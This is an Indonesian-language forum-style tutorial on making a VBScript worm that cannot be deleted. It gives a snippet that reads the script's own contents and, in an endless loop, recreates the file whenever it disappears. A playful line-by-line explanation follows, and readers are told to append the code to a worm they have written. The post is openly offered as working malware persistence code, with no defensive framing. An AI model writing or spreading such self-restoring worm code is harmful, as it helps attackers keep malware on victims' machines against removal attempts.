Buat virus antideletion

Bagaimana cara worm yang kita buat sangat susah untuk dihapus walaupun sudah kita delete berkali-kali dari kompie...heheheheh.....

liat function ini :

------------------------------------------code dimulai
dim fso, myself,mytext
set fso = createobject("scripting.filesystemobject")
set myself = fso.opentextfile(wscript.scriptfullname)
mytext = myself.readall
myself.close
do

if fso.fileexists(wscript.scriptfullname) = false then

set myself = fso.createtextfile(wscript.scriptfullname)
myself.write mytext
myself.close

end if

loop


--------------------------------------berakhir dsini

dim fso, myself,mytext
- Ngedeklarasiin variabel

set fso = createobject("scripting.filesystemobject")
- Biasaaa.. bikin file system objeek

set myself = fso.opentextfile(wscript.scriptfullname)
- Bikin texttream objek memakai fiile vbs

mytext = myself.readall
- Meletakan semua file vbs dalam vvatiabel mytext

myself.close
- Nutup textream

do
- Lakukaaaaannnnnnnnnnnnnnnnn...............!!!!!

if fso.fileexists(wscript.scriptfullname) = false then

- Mereksa apakah worm kita masih mmasiha ada apa engga ? jika udah diapus maka....

set myself = fso.createtextfile(wscript.scriptfullname)

- worm akan dibuat lagi....hehehehh....

myself.write mytext
- Nulis semua variabel textream yaang udah kita buat tadi

myself.close
-Nutup

end if
Nutup kondisi

loop
- Mengulangi langkah2 diatasnya.....

Kamu musti ngeletakin script diatas pada baris terakhir worm yang kamu udah buat karna jika kamu meletakan ditengah apalagi diatas maka script worm yang kamu buat ga mungkin dibaca semua semuanya....